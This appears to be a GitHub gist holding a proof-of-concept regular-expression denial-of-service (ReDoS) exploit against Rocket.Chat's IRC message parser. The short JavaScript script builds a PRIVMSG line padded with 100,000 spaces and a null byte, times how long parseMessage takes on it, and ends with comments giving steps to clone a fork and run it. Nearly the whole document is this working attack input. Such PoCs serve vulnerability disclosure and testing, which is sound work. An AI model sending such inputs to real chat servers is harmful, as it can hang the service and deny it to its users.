Skip to content

Instantly share code, notes, and snippets.

@mmmsssttt404
Created April 2, 2025 04:38
Show Gist options
  • Save mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb to your computer and use it in GitHub Desktop.
Save mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb to your computer and use it in GitHub Desktop.
ReDos
const parseMessage = require('./parseMessage')
const validLine =
':' + 'myNick!user@host' + ' ' +
'PRIVMSG' + ' ' +
'#channel' + ' ' +
'Hello ' +""+" ".repeat(100000)+"\u0000"+ 'Trailing';
const startTime = performance.now();
const message = parseMessage(validLine);
console.log(message)
const endTime = performance.now();
const timeTaken = endTime - startTime;
console.log(`time taken: ${timeTaken.toFixed(3)} ms`);
// 1.git clone https://github.com/mmmsssttt404/Rocket.Chat.git
// 2.cd Rocket.Chat
// 3.yarn
// 4.create poc.js
// 5.node poc.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment